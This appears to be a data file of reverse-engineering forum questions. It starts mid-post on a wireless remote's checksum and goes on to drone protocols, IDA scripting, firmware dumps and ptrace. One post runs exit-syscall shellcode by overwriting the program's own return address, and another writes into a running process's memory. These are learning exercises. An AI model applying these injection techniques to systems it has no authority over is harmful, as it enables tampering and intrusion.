+196,215,0,14,197,176,7,51,1,155,165,100,19,142
+196,215,0,14,197,176,7,51,2,155,165,99,248,181
+196,215,0,14,197,176,7,51,2,155,165,98,232,148
+196,215,0,14,197,176,7,51,3,155,165,97,174,67
+196,215,0,14,197,176,7,51,3,155,165,97,174,67
+196,215,0,14,197,176,7,51,3,155,165,97,174,67
+196,215,0,14,197,176,7,51,4,155,165,97,255,110
+196,215,0,14,197,176,7,51,4,155,165,97,255,110
+196,215,0,14,197,176,7,51,7,155,165,96,116,147
+196,215,0,14,197,176,7,51,9,155,165,113,212,217
+196,215,0,14,197,176,7,51,12,155,165,112,120,189
+196,215,0,14,197,176,7,51,15,155,165,113,243,64
+196,215,0,14,197,176,7,51,16,155,165,114,12,106
+196,215,0,14,197,176,7,51,16,155,165,115,28,75
+196,215,0,14,197,176,7,51,16,155,165,116,108,172
+196,215,0,14,197,176,7,51,17,155,165,117,10,57
+196,215,0,14,197,176,7,51,17,155,165,118,58,90
+196,215,0,14,197,176,7,51,17,155,165,119,42,123
+196,215,0,14,197,176,7,51,18,155,165,119,177,167
+196,215,0,14,197,176,7,51,18,155,165,119,177,167
+196,215,0,14,197,176,7,51,19,155,165,119,199,19
+196,215,0,14,197,176,7,51,19,155,165,119,199,19
+196,215,0,14,197,176,7,51,19,155,165,119,199,19
+196,215,0,14,197,176,7,51,20,155,165,118,134,31
+196,215,0,14,197,176,7,51,20,155,165,117,182,124
+196,215,0,14,197,176,7,51,20,155,165,116,166,93
+196,215,0,14,197,176,7,51,21,155,165,115,160,14
+196,215,0,14,197,176,7,51,21,155,165,114,176,47
+196,215,0,14,197,176,7,51,21,155,165,113,128,76
+196,215,0,14,197,176,7,51,22,155,165,113,27,144
+196,215,0,14,197,176,7,51,22,155,165,113,27,144
+196,215,0,14,197,176,7,51,22,155,165,113,27,144
+196,215,0,14,197,176,7,51,22,155,165,113,27,144
+196,215,0,14,197,176,7,51,23,155,165,113,109,36
+196,215,0,14,197,176,7,51,26,155,165,112,68,131
+196,215,0,14,197,176,7,51,30,155,165,176,87,62
+
+Data format: +196,215,0,REMOTESERIAL_hibyte,REMOTESERIAL_lobyte,176,TIME_HOUR,TIME_MINUTE,TIME_SECOND,ALARM_HOUR|(ALARM_ENABLE<<7),ALARM_MINUTE,COMMAND,CHECKSUM1,CHECKSUM2 +The two first bytes (196,215) are probably a 16-bit sync word [magic value]. There is a preamble in front with 4 times 0xAA bytes to sync the receiver clock, but I don't think that is part of the checksum as the data is used to sync the receiver and thus can often be garbled before the receiver AGC stabilizes. In any case those initial values are static and will not change the checksum values from packet to packet. +There is an RTC (Real Time Clock) chip inside the remote and each packet contains HH:MM:SS time, so that is responsible for changing the checksum values often even though the previous command is repeated. I have never seen only one of the checksum values change alone. When there is a change in the packet data, both checksum bytes always seem to change, not just one of them. +The chip used in the remote is a ChipCon CC1050 (433MHz). According to the datasheet this chip does not have CRC support built-in, unlike later models like the CC1101. The CRC algorithm for that and other chips are detailed in Design Note DN502: +https://www.ti.com/lit/an/swra111e/swra111e.pdf?ts=1618523904103 +I have tried this algorithm (and two other CRC16 algorithms I found online) with the packet data and various portions of it, with and without the preamble and sync words to no avail. I did this also with a brute force of all 65536 possible initial values for the 16-bit CRC, to no avail. +I hope someone can figure this out, because I have tried many different approaches but seem to be hitting my head in the wall at the moment. :) +" +"['python', 'disassemblers', 'apk', 'protocol', 'wireshark']"," Title: On reverse engineering an udp protocol to control a droneBody: My goal is to control my drone with my raspberry pi using python and not the app that is being delivered together with it. +First I connected the app to the drone, flew and used aircrack-ng to get the pcap. +I looked at it in wireshark and could not make sense of it. +I presume it to be unencrypted UDP though. +So I decompiled the java apk with APK Studio and looked at the source code. +I looked for a random button in an xml to find the corresponding method in a java file. +It did not exist. +There are some smali files. +Which approach do you suggest for reverse engineering it? +" +"['windows', 'c++', 'c', 'winapi']"," Title: Extracting strings from binary files (.exe)Body: This question has been asked quite a lot especially on stackoverflow, but the solutions/replies are not clear or extensive. +What I`m looking for is to build what Strings does from Sysinternals. My goal is to read any windows binary files and extract all the strings ASCII/UNICODE in a fast and efficient way. +At the moment I`m opening the file from disk, reading into a buffer, and then assigning that buffer into a vector and using booyer_moore search. This operation is pretty CPU expensive, especially when the file is big (a few mb) and because the code searches through "everything". +I've found this https://github.com/glmcdona/strings2 but it does not support x64 due to the approach taken, and I cannot seem to find any source code for the Sysinternals tool. +Would it be possible to show me (even some pseudo code) on how to approach this matter? +" +"['assembly', 'c', 'buffer-overflow', 'shellcode', 'x86-64']"," Title: Trying to call the Exit Shellcode in a c programBody:
#include<stdio.h>
+#include<stdint.h>
+
+char shellcode[] = "\xb8\x3c\x00\x00\x00"
+                   "\xbf\x14\x00\x00\x00"
+                   "\x0f\x05";
+
+int main()
+{
+    uint64_t *ret;
+    ret = (uint64_t *)&ret + 2;
+    (*ret) = (uint64_t)shellcode;
+}
+
+so here what i am trying to do is run the exit shellcode by modifying the rets address to the shellcodes address and exiting the c program with status 20. +
Reading symbols from ./Shellcode...
+(gdb) l
+1       #include<stdio.h>
+2       #include<stdint.h>
+3
+4       char shellcode[] = "\xb8\x3c\x00\x00\x00"
+5                          "\xbf\x14\x00\x00\x00"
+6                          "\x0f\x05";
+7
+8       int main()
+9       {
+10
+(gdb) 
+11          uint64_t *ret;
+12          ret = (uint64_t *)&ret + 2;
+13          (*ret) = (uint64_t)shellcode;
+14      }
+(gdb) 
+Line number 15 out of range; Shellcode.c has 14 lines.
+(gdb) break 12
+Breakpoint 1 at 0x1129: file Shellcode.c, line 12.
+(gdb) run
+Starting program: /home/kali/oscp/asm/32/Shellcode 
+
+Breakpoint 1, main () at Shellcode.c:12
+12          ret = (uint64_t *)&ret + 2;
+(gdb) print /x &shellcode
+$1 = 0x555555558028
+(gdb) x/8xg $rsp
+0x7fffffffdf70: 0x0000555555555150      0x00007ffff7e12d0a
+0x7fffffffdf80: 0x00007fffffffe068      0x0000000100000000
+0x7fffffffdf90: 0x0000555555555125      0x00007ffff7e127cf
+0x7fffffffdfa0: 0x0000000000000000      0xd60b04d41db666f5
+(gdb) s
+13          (*ret) = (uint64_t)shellcode;
+(gdb) x/8xg $rsp
+0x7fffffffdf70: 0x0000555555555150      0x00007ffff7e12d0a
+0x7fffffffdf80: 0x00007fffffffe068      0x0000000100000000
+0x7fffffffdf90: 0x0000555555555125      0x00007ffff7e127cf
+0x7fffffffdfa0: 0x0000000000000000      0xd60b04d41db666f5
+(gdb) print /x $rip
+$2 = 0x555555555135
+(gdb) s
+14      }
+(gdb) x/8xg $rsp
+0x7fffffffdf70: 0x0000555555555150      0x0000555555558028
+0x7fffffffdf80: 0x00007fffffffe068      0x0000000100000000
+0x7fffffffdf90: 0x0000555555555125      0x00007ffff7e127cf
+0x7fffffffdfa0: 0x0000000000000000      0xd60b04d41db666f5
+(gdb) print /x $rip
+$3 = 0x555555555148
+(gdb) s
+0x0000555555558028 in shellcode ()
+(gdb) print /x $rip
+$4 = 0x555555558028
+(gdb) x/8xg $rsp
+0x7fffffffdf80: 0x00007fffffffe068      0x0000000100000000
+0x7fffffffdf90: 0x0000555555555125      0x00007ffff7e127cf
+0x7fffffffdfa0: 0x0000000000000000      0xd60b04d41db666f5
+0x7fffffffdfb0: 0x0000555555555040      0x0000000000000000
+(gdb) s
+Single stepping until exit from function shellcode,
+which has no line number information.
+
+Program received signal SIGSEGV, Segmentation fault.
+0x0000555555558028 in shellcode ()
+
+The shellcode address does fall into rip but the shellcode does not execute or something that i am unable to understand. +so like what should I do to make my shellcode run and have an exit status of 20. +" +"['windows', 'process', 'frida', 'processhacker']"," Title: Unable to attach into mysterious PIDBody: I have a suspicious process. I found it by ProcessHacker's network tab. +ProcessHacker display the process as Unknown. +The process listening into a constant port number that's also not found by standard windows tools. +The process id also not found by standard windows tools. +Looking at Wireshark traffic, I see there is traffic going to two IPs in Russia. +I attempted to attach Frida into this process but Frida reports an error like below, +
[Error: Unexpected error allocating memory in target process (VirtualAlloc returned 0x00000005)]
+
+I've used both 64 bit and 32 bit versions of Frida but still same error. +" +"['linux', 'gcc', 'pointer', 'vtables']"," Title: Comparing the static address of the vtable of a class, to the pointer to it held by the objectBody: I know this is compiler/ABI dependent, not necessarily standardized, etc. I've always assumed, from what I've read in several places (e.g. an answer here or the example in wikipedia), that a typical thing a compiler does is having a pointer to the vtable of Class at the start of an object of type Class. +I'm now debugging and instrumenting a function that receives a Class* parameter. Class has virtual functions. I want to determine if it belongs to a class that I care about. I probably also want to do other things with it, so I'm trying to get a good understanding. +I look at the disassembly in Ghidra, and I find this about the vtable of that class (paste is coming from an example I wrote, but it's equivalent in a real binary that I want to RE): +
                             **************************************************************
+                             * vtable for DerivedClass                                    *
+                             **************************************************************
+                             _ZTV12DerivedClass                              XREF[3]:     Entry Point(*), 
+                             DerivedClass::vtable                                         operator():001039d1(*), 
+                                                                                          _elfSectionHeaders::00000650(*)  
+        00107c70 00 00 00        ptrdiff_
+                 00 00 00 
+                 00 00
+           00107c70 [0]                                  0h
+        00107c78 88 7c 10        addr       DerivedClass::typeinfo                           = 
+                 00 00 00 
+                 00 00
+                             PTR_ARRAY_00107c80                              XREF[2]:     operator():001039d8(*), 
+                                                                                          operator():001039dc(*)  
+        00107c80 94 42 10        addr[1]
+                 00 00 00 
+                 00 00
+           00107c80 94 42 10 00 00  addr      DerivedClass::someVirt  [0]                               XREF[2]:     operator():001039d8(*), 
+                    00 00 00                                                                                         operator():001039dc(*)  
+
+
+And here is where my surprise is: +
    +
  1. I get the address of _ZTV12DerivedClass (e.g. via Frida, Module.findExportByName(null, "_ZTV12DerivedClass") or in GDB, info address _ZTV12DerivedClass).
  2. +
  3. I get the address of the vtable of the object (it's 64 bits, so 8 first bytes of the object), again, in the debugger or with Frida.
  4. +
  5. I compare the two, and I get that they are 16 bytes away, the size of 2 pointers: the pointer in the object instance is not to the start of the vtable, but at the start of the array of pointers to the virtual functions!
  6. +
+This is not Earth-shattering in order to compare the pointers, of course. Just add 16. I've seen explanations of what those first two pointers should be. But I have some doubts: +
    +
  1. Is it reliable to assume that the difference of 16 is going to be consistent in all classes in the same binary?
  2. +
  3. Is this common in more compilers?
  4. +
  5. Do the two positions in the table (the very start of it and the start of the array of pointers to the virtual functions) have any naming convention? I find it surprising that there is a pointer to something and it's not the start of the vtable as found on the disassembly.
  6. +
  7. Could be some historical legacy? If C++ first had virtual functions but without virtual inheritance or RTTI, it might explain that those two extra pointers were added to the top to not change some other assumptions.
  8. +
+" +"['linux', 'arm', 'embedded', 'flash']"," Title: What could a firmware image be, if not embedded linux?Body: I decided to play around with an old baby monitor, purely to learn something about how such things (I.E. embedded devices) work. I successfully extracted the flash memory, and I was expecting this to have a uboot image plus a squashfs filesystem or something along those lines. binwalk dashes my hopes of that: +
$ binwalk motorola_1.bin
+
+DECIMAL       HEXADECIMAL     DESCRIPTION
+--------------------------------------------------------------------------------
+
+
+Instead it's apparently full of ARM instructions: +
$ binwalk -A motorola_1.bin
+
+DECIMAL       HEXADECIMAL     DESCRIPTION
+--------------------------------------------------------------------------------
+300           0x12C           ARM instructions, function prologue
+328           0x148           ARM instructions, function prologue
+404           0x194           ARM instructions, function prologue
+428           0x1AC           ARM instructions, function prologue
+1176          0x498           ARM instructions, function prologue
+1580          0x62C           ARM instructions, function prologue
+
+Now before doing this, I connected to the monitor's UART headers and was presented with some kind of debug program, that allowed me to view the camera's current slew, tweak the display settings and so on. The strings of that program's printouts are all visible within the binary I extracted from the chip if I run strings on it, so this is obviously what was running there. I'm quite confused as to how it was running if the firmware isn't some form of linux image though. +The board has no other flash chip that I can see, though there is a (regrettably unidentifiable) IC that's obviously a processor or SOC of some sort which I suppose could have an internal flash section. +If this isn't some form of linux image, then, what could it be? Pure ARM instructions implies it's just a program, but I don't really understand how it can be executing the program without the OS booting to run it. Or is it likely that I'm simply missing something? +EDIT: The chip, if it matters, is a Winbond W25Q16.V - not exactly a large chip for storing a linux image on...or so it seems to me anyway. But what do I know? +" +"['python', 'networking', 'websites']"," Title: Twitter scraping using PythonBody: I've been working on a project to reverse-enginner twitter's app to scrape public posts from Twitter using an unofficial API, with Python. (I want to create an "alternative" app, which is simply a localhost that can search for a user, and get its posts) +I've been searching and reading everything related to REST, AJAX, and the python modules requests, requests-html, BeautifulSoup, and more. +I can see when looking at twitter on the devtools (for example on Marvel's profile page) that the only relevant requests being sent (by POST and GET) are the following: client_event.json and UserTweets?variables=... . +I understood that these are the relevant messages being received by cleaning the network tab and recording only when I scroll down and load new tweets - these are the only messages that came up which aren't random videos (I cleaned the search using -video -init -csp_report -config -ondemand -like -pageview -recommendations -prefetch -jot -key_live_kn -svg -jpg -jpeg -png -ico -analytics -loader -sharedCore -Hebrew). +I am new to this field, so I am probably doing something wrong. I can see on UserTweets the response I'm looking for - a beautiful JSON with all the data I need - but I am unable, no matter how much I've been trying to, to access it. +I tried different modules and different headers, and I get nothing. I DON'T want to use Selenium since it's tiresome, and I know where the data I need is stored. + +I've been trying to send a GET reuest to: +https://twitter.com/i/api/graphql/vamMfA41UoKXUmppa9PhSw/UserTweets?variables=%7B%22userId%22%3A%2215687962%22%2C%22count%22%3A20%2C%22cursor%22%3A%22HBaIgLLN%2BKGEryYAAA%3D%3D%22%2C%22withHighlightedLabel%22%3Atrue%2C%22withTweetQuoteCount%22%3Atrue%2C%22includePromotedContent%22%3Atrue%2C%22withTweetResult%22%3Afalse%2C%22withUserResults%22%3Afalse%2C%22withVoice%22%3Afalse%2C%22withNonLegacyCard%22%3Atrue%7D +by doing: +
from requests_html import HTMLSession
+from bs4 import BeautifulSoup
+
+response = session.get('https://twitter.com/i/api/graphql/vamMfA41UoKXUmppa9PhSw/UserTweets?variables=%7B%22userId%22%3A%2215687962%22%2C%22count%22%3A20%2C%22cursor%22%3A%22HBaIgLLN%2BKGEryYAAA%3D%3D%22%2C%22withHighlightedLabel%22%3Atrue%2C%22withTweetQuoteCount%22%3Atrue%2C%22includePromotedContent%22%3Atrue%2C%22withTweetResult%22%3Afalse%2C%22withUserResults%22%3Afalse%2C%22withVoice%22%3Afalse%2C%22withNonLegacyCard%22%3Atrue%7D')
+response.html.render()
+s = BeautifulSoup(response.html.html, 'lxml')
+
+but I get back an HTML script that either says Chromium is unsupported, or just a static page without the javascript updating the DOM. +All help appreciated. +Thank you +" +"['x86', 'dos', 'rom']"," Title: Finding API in ROM dump (DOS debug)Body: Have dumped the ROM from a HP 200LX using these instructions: +
debug #Enters the debug mode
+r bx #Reads the bx register and prompts you to enter a new value
+30 #The new value for bx
+r cx #Reads the cx register and prompts you to enter a new value
+0000 #The new value for cx
+n 3M.bin #The name of the dump file
+w 0:0 #Write out the data, starting at offset 0:0
+
+and see some interesting strings in the data, but would like to investigate in a more technically sophisticated manner. +What would be the easiest way to find APIs, ie procedure entry points? Am particularly interested in the cc:Mail Vendor Independent Messaging API which I suspect hides there somewhere. +There is also at least one binary file on the disk which seems related, so ideally I would like a tool that reads both the ROM dump and this file together. +" +['hardware']," Title: trying to identify this SOP14 chipBody: I'm trying to find out what is this chip I have two devices that have this chip in them one of them stopped working and the problem was from this chip(I know that because when I removed that same chip from the other working device the not working device is working again fine) but the chip marking is erased.
+the chip is a 14Pin chip (SOP14) with PIN7 as VSS and PIN14 as VDD
+so I got the oscilloscope and tested all the pins while the device is on and this is what I got. +the first image shows what I got from pins 1 to 6. the pins 1,3,5 as Yellow on the oscilloscope (LOW) and pins 2,4,6 as Blue (HIGH) in the oscilloscope. + +so far I though that its a hex inverter so I bought a HEF4069 and slapped it on but it doesn't work as expected (pins 1 to 6 work as the previous chip but pins 8 to 11 is diferent from the original chip). +here is the reading from pins 8,10 as blue in the image and pin 9,11 as yellow. + +but when I put HEF4069 pins 8 to 11 behave just like pins 1 to 6 and there is no square wave or saw tooth wave as in the second image.
+I also tried removing that chip and testing where it was connected but somehow the microcontroller doesn't send that saw tooth wave to the chip any more and the same happens when HEF4069 is connected.
+only when the original chip is connected that I get the second image result.
+so i'm stuck and don't know what to do to figure out what that chip is. +" +"['android', 'c#']"," Title: How to repack the monobundleappBody: I recently had to make a version of a survivalcraft 2 mod that allowed circuits to run faster +I found this script by stack overflow to unpack a mono bundle app +I already modified the .dll, but I need to repack it, and I don't know anything about pyelftools +Script: +
from elftools.elf.elffile import ELFFile
+from zipfile import ZipFile
+from cStringIO import StringIO
+import gzip, string
+
+data = open('libmonodroid_bundle_app.so').read()
+f = StringIO(data)
+elffile = ELFFile(f)
+section = elffile.get_section_by_name('.dynsym')
+for symbol in section.iter_symbols():
+  if symbol['st_shndx'] != 'SHN_UNDEF' and symbol.name.startswith('assembly_data_'):
+    print symbol.name
+    dll_data = data[symbol['st_value']:symbol['st_value']+symbol['st_size']]
+    dll_data = gzip.GzipFile(fileobj=StringIO(dll_data)).read()
+    outfile = open(symbol.name[14:].replace('_dll', '.dll'), 'w+'); print symbol.name[14:].replace('_dll', '.dll')
+    outfile.write(dll_data)
+    outfile.close()
+
+" +"['linux', 'x86-64']"," Title: Why PTRACE_POKEDATA returns I/O error?Body: I learning usage of ptrace.
+I tried following simple example but raises a I/O Error. +I would like to overwrite "Hello, world" (printing string) from other process.
+A target program prints "Hello, world" string until stop then I want to change this prints string from another program that use ptrace. +However the ptrace program failed to POKEDATA with I/O Error.
+I have no idea why it failed. +I have tried on:
+x86_64 Linux 5.11.
+AMD Ryzen 7 4750U +ptrace code: (This ptrace code refer from http://0xcc.net/blog/archives/000077.html (Japanese)) +
#include <assert.h>
+#include <sys/ptrace.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <stdlib.h>
+#include <string.h>
+#include <errno.h>
+#include <stdio.h>
+
+int
+main (int argc, char **argv)
+{
+    assert(argc == 4);
+    pid_t pid = atoi(argv[1]);
+    void *addr = (void *)strtol(argv[2], NULL, 0);
+    void *word = (void *)strtol(argv[3], NULL, 0);
+
+    assert(ptrace(PTRACE_ATTACH, pid, NULL, NULL) == 0);
+    wait(NULL);
+    if (ptrace(PTRACE_POKEDATA, pid, addr, word) != 0) {
+        printf("Error: %s\n", strerror(errno));
+        return 0;
+
+    }
+    assert(ptrace(PTRACE_DETACH, pid, NULL, NULL) == 0);
+    return 0;
+}
+
+target code: +
#include <stdio.h>
+#include <stdbool.h>
+
+int main() {
+    while (true) {
+        printf("%s\n", "Hello, world");
+    }
+}
+
+A address of target string in target binary (in my environment): +
Contents of section .rodata:
+ 2000 01000200 48656c6c 6f2c2077 6f726c64  ....Hello, world
+
+exection (shell): +
./ptrace target_process_id 0x2004 0x60616263   //try to replace from Hell to abcdl 
+
+" +"['ida', 'c++', 'disassemblers']"," Title: Unrecognized functionBody: There is function: +
push    65h
+push    edi
+call    sub_5D8750
+
+In this case, function takes 65 bytes to be filled with zeros, and edi is memory address starting from which to fill these 65 bytes with zeros. I put breakpoint, this function is called before the WinMain, and immediately at the beginning of the WinMain. What kind of function could it be if IDA didn't recognize it? Maybe ZeroMemory? But why IDA not recognize it? Thanks in advance. +" +"['binary-analysis', 'instrumentation', 'pintool']"," Title: Instrument memory accesses of python scriptsBody: My research requires processing memory traces of applications. For C/C++ programs, this is easy using Intel's PIN library. However, as suggested here https://stackoverflow.com/questions/51835532/use-intel-pin-to-instrument-python-scripts, I may need to instrument the Python runtime itself, which I'm not sure will represent the true memory behavior of a given python script due to some overheads(If this is not the case, please comment). Some of the existing python memory profilers only talk about the runtime memory "usage" in terms of the heap space usage, etc. +I ended up making an executable from my python script using PyInstaller and running my PINTool over it. However, I'm not sure if this is the right approach. +Is there any way(any library or any hack into the python runtime) that may help in getting the memory traces accessed by the python scripts? +" +"['ida', 'disassembly', 'idapython', 'c', 'mips']"," Title: How do I disassemble mips .o object files in ida elf 64bitBody: So I’m trying to disassemble some object files in mips. I use IDA 7 on windows. These object files are loadable kernel modules. Mipself64 Is What ida auto sets to when they are dropped in. I’d like to get them back to c. Most likely they were compiled in mips4 aka mips pro as a 64 bit module. It shows decently in assembly. Probably not all correct, I’d like to use mips2c or epanos( mips2c but it works with ida used to disassemble electro paint) however I have no idea how to load libraries or use python with ida in windows. +I need python 3.6 I believe so the question is : +A. How do I load libraries and things with ida and use them to disassemble +B. What are some great ways to disassemble mips object files .o +" +"['ida', 'windows', 'winapi', 'api-reversing']"," Title: How to disassemble win32 function RegSetValueExW?Body: I have opened up advapi32.dll in IDA and found out that RegSetValueExW is just a jump to RegSetValueExW_0. And RegSetValueExW_0 seems to be an extern. +How do I actually disassemble RegSetValueExW_0? + + +" +"['ida', 'idapython']"," Title: ida_hexrays.lvar_t.stk.get_stkoff() incorrect ± 0x10Body: When using the stack offset for a variable obtained via ida_hexrays.lvar_t.stk.get_stkoff() or ida_hexrays.vdloc_t.stkoff() the results vary between "correct", and 8 or 16 bytes out as measured either manually or as compared to the results obtained from: +
id = idc.get_frame_id(here())
+for member in idautils.StructMembers(id):
+    offset, name, size = member
+
+The incorrect offsets are sourced from: +
func = idaapi.get_func(ea)
+vu = idaapi.open_pseudocode(func.start_ea, 0)
+[n.get_stkoff() for n in vu.cfunc.lvars if n.is_stk_var()]
+
+[edit]: the difference appears to be caused by the pseudo-code vu reporting offsets relative to the minimal SPD, whilst everything else uses the post-prologue SPD (code beneath) +
def GetPseudoStackOffsetCorrection(funcea):
+    func = ida_funcs.get_func(funcea)
+    return func.frsize + func.frregs + idc.get_spd(idc.get_min_spd_ea(func.start_ea))
+
+[edit 2]: this alternate method works sometimes. it functions by looking at the insn located at lvar_t.defea (assumedly "defined at ea") and calculating from there. However 10% of the time lvar.defea points at a conditional jmp, so again -- very kludgy +
def get_stkoff_from_lvar(lvar, debug=1):
+    ea = idc.get_item_head(lvar.defea)
+    func = ida_funcs.get_func(ea)
+    if not func:
+        return idc.BADADDR
+    
+    for n in range(2):
+        if idc.get_operand_type(ea, n) == idc.o_displ:
+            offset = idc.get_operand_value(ea, n) + func.frsize - func.fpd
+
+            if debug:
+                lvar_name = lvar.name
+                sid = idc.get_frame_id(func.start_ea)
+                frame_name = idc.get_member_name(sid, offset)
+                print("[debug] offset:0x{:x}, lvar_name:{}, frame_name:{}"
+                        .format(offset, lvar_name, frame_name))
+
+            return offset 
+
+[edit]: kludges aside (which I would prefer not to use) I have issues with my +[...] "rename, retype and remap" (with regex) package, which I recently noted does not update the "stack" (visible in assembly) names when calling vu.rename_lvar as would normally happen when performing a rename via N +Without an accurate offset, there is no way for the code to rename the corresponding stack variable var_18 when renaming the pseudo-code variable v1 (for example). +Any solution to this general problem is welcome, though preferentially one that allows the correct stack location of pseudo-code variables would be best as I will shortly be attempting "watch-variables" via flare-emu. +These are some results from a test function written to compare the conflicting results I have been receiving, and to confirm to myself that there is no magic "just deduct func.frregs" type answer. +Function 1. +
func.flags                  : FUNC_FRAME | FUNC_PURGED_OK | FUNC_SP_READY
+func.frregs                 :   8
+func.frsize                 :  c0
+func.fpd                    :  a0
+ida_frame.frame_off_retaddr :  c8
+ida_frame.frame_off_lvars   :   0
+ida_frame.frame_off_args    :  d0
+ida_frame.frame_off_savregs :  c0
+
+name           lvar_offset1 stk_offset 
+-------------- ------------ ---------- 
+range          0x30         0x28       
+guide          0x38         0x30       
+ImageBase      0x58         0x50       
+_stack_padding 0xd8         0xd0    
+
+Function 2 +
func.flags                  : FUNC_FRAME | FUNC_PURGED_OK | FUNC_SP_READY
+func.frregs                 :   8
+func.frsize                 : 1c0
+func.fpd                    : 190
+ida_frame.frame_off_retaddr : 1c8
+ida_frame.frame_off_lvars   :   0
+ida_frame.frame_off_args    : 1d0
+ida_frame.frame_off_savregs : 1c0
+
+name                      lvar_offset1 stk_offset 
+------------------------- ------------ ---------- 
+lpTopLevelExceptionFilter 0x50         0x40       
+LibFileName               0x88         0x78       
+Handle                    0xc8         0xb8       
+lpProcName                0x110        0x100      
+hObject                   0x198        0x188      
+hModule                   0x1a0        0x190      
+
+Function 3 +
func.flags                  : FUNC_FRAME | FUNC_PURGED_OK | FUNC_SP_READY
+func.frregs                 :   8
+func.frsize                 :  40
+func.fpd                    :  20
+ida_frame.frame_off_retaddr :  48
+ida_frame.frame_off_lvars   :   0
+ida_frame.frame_off_args    :  50
+ida_frame.frame_off_savregs :  40
+
+name   lvar_offset1 stk_offset 
+------ ------------ ---------- 
+accum1 0x20         0x20       
+accum2 0x2c         0x2c 
+
+I can provide the test code if required, though it's not small. +[edit: test code attached, warning: not pretty] +
# test code: 
+#     sync_lvars_to_stk(func_ea)
+
+def get_func_flag_names(f):
+    return [x for x in [k for k in dir(idc) 
+            if k.startswith('FUNC_')] 
+            if f.flags & getattr(idc, x)]
+
+def _get_vu(ea, vu):
+    if vu: return vu
+    return idaapi.open_pseudocode(idaapi.get_func(ea).start_ea, 0)
+
+def get_lvars(ea, vu=None):
+    vu = _get_vu(ea, vu)
+    return [n.get_stkoff() for n in vu.cfunc.lvars if n.is_stk_var()]
+
+def dump_stkvars(ea=None, iteratee=None):
+    def get_member_tinfo(sid, offset):
+        s = ida_struct.get_struc(sid)
+        m = ida_struct.get_member(s, offset)
+        tif = ida_typeinf.tinfo_t()
+        try:
+            if ida_struct.get_member_tinfo(tif, m):
+                return tif
+        except TypeError:
+            pass
+
+    results = []
+    sid = idc.get_frame_id(ea)
+    for member in idautils.StructMembers(sid):
+        o = AttrDict()
+        o.offset, o.name, o.size = member
+        o.mid     = idc.get_member_id(sid,    o.offset)
+        o.name    = idc.get_member_name(sid,  o.offset)
+        o.size    = idc.get_member_size(sid,  o.offset)
+        o.flags   = idc.get_member_flag(sid,  o.offset)
+        tif       = get_member_tinfo(sid,     o.offset)
+        o.tifname = str(tif) if tif else ''
+        o.sid     = sid
+        if callable(iteratee): iteratee(o)
+        results.append(o)
+    return results
+
+def indexBy(o, key):
+    r = {}
+    for x in o:
+        r[x[key]] = x
+    return r
+
+def sync_lvars_to_stk(ea, vu=None):
+    vu = _get_vu(ea, vu)
+    func = idaapi.get_func(ea)
+    print("\n{:28}: {}\n{:28}: {:3x}\n{:28}: {:3x}\n{:28}: {:3x}\n{:28}: {:3x}\n{:28}: {:3x}\n{:28}: {:3x}\n{:28}: {:3x}\n"
+            .format(
+                "func.flags",                  " | ".join(get_func_flag_names(func)),
+                "func.frregs",                 func.frregs,
+                "func.frsize",                 func.frsize,
+                "func.fpd",                    func.fpd,
+                "ida_frame.frame_off_retaddr", ida_frame.frame_off_retaddr(func),
+                "ida_frame.frame_off_lvars",   ida_frame.frame_off_lvars(func),
+                "ida_frame.frame_off_args",    ida_frame.frame_off_args(func),
+                "ida_frame.frame_off_savregs", ida_frame.frame_off_savregs(func),
+                ))
+
+    stkvars = indexBy(dump_stkvars(ea), 'name')
+    lvars = []
+    if vu and func:
+        stk_lvars = [(n.name, n.tif.get_size(), 
+            n.location.stkoff(),
+            ) for n in vu.cfunc.lvars if n.location.is_stkoff()]
+
+        for name, size, offset in stk_lvars:
+            o = AttrDict()
+            o.update({
+                'name': name,
+                'size': size,
+                'lvar_offset': offset,
+            })
+            lvars.append(o)
+    lvars = indexBy(lvars, 'name')
+
+    lvar_names = lvars.keys()
+    for name in lvar_names:
+        if name in stkvars:
+            print({
+                'name': name,
+                'lvar_offset': lvars[name].lvar_offset,
+                'stk_offset': stkvars[name].offset,
+            })
+
+class AttrDict(dict):
+    def __init__(self, *args, **kwargs):
+        super(AttrDict, self).__init__(*args, **kwargs)
+        self.__dict__ = self
+
+
+" +['ida']," Title: IDA pro 7.5.2 fails to find python.dll even tho it is in the correct folder?Body: Anyone ever have this problem? how can it be fixed? Installed ida pro 7.5.2 the other day in the python folder it has two files named 2 and 3 clearly for python 2 or 3 but its not even finding the dlls. +" +"['ida', 'android']"," Title: Remote debugging android native lib(.so) No connection could be made because the target machine actively refused it. when connecting toBody: I have a running IDA debug-server on my virtual android device(check attachments). +The problem is: when I try hit Attach procces it gives me an error(check title). +Here is some kinda params that I'm using: + + + +I have already seen similliar question here: Failed to use IDA to remote android debug +As @0xC0000022L said: You need to select Remote Linux in the debugger attach menu of IDA, but I don't have this particular option. Is there any ideas? I appreciate any help. Thank you! +" +"['decompile', 'mips']"," Title: Are there any 64 bit MIPS decompilersBody: I’ve found many mips 32 bit decompilers. I’m trying to decompile a simple 64bit elf from mips to c. Ida doesn’t seem to have much of a problem with disassembly. After some fixings I tried the decompiler and found ida only supports 32 bits. Then I went down the google rabbit hole. +Does anyone know of a 64bit mips decompiler? +" +"['ida', 'disassembly', 'assembly', 'tools', 'register']"," Title: IDA Pro - How to remove multi-line bit definitions for registerBody: I've just started reversing some microcontroller code and have the RAM, ROM, and SFR (Special Function Registers) segments set up. I've selected my processor architecture and it has named most of the registers correctly automatically. However, a few are incorrect (I assume this is due to variations between specific chips in the architecture family). +This is not a problem for most registers as I can simply rename and recomment them. However, some of the registers have the specific bits labelled and I have tried absolutely everything I can to remove them. I can rename the register itself and recomment it just fine, but I cannot modify or delete the bit specific fields. +In the image I have renamed the register at 002C to "VW2C" and added the correct comment. The previous name was "dm0con". As can be seen, the bit specific fields are still there and trying to rename or recomment them just edits the actual register itself. +I have searched and searched online but it is hard to find the answer since I'm not even sure what the proper name for these fields are. I have looked through all the toolbars and submenus but cannot get rid of these bit specific definitions. + +" +"['windbg', 'address']"," Title: Local KD -- can't access physical address 0xFFFFFFF0 but you can with RwEverythingBody: I've never been able to access 0xf0000000 range using !db on local debug, and I've tried !db -m 00000000`fffffff0 and !db [uc] 00000000`fffffff0. I only get Physical memory read at fffffff0 failed. It works fine on RwEverything. Any ideas? +" +"['ida', 'debugging', 'windbg', 'x64dbg']"," Title: Reverse engineer sticky notes to allow external script to open new notesBody: For a silly little project I wanted to do, I wanted to make it so that I could open new notes (Microsoft Sticky Notes) from an external script - preferably python. Although I'm not good at reverse engineering I thought that it shouldn't be too hard because I thought it was 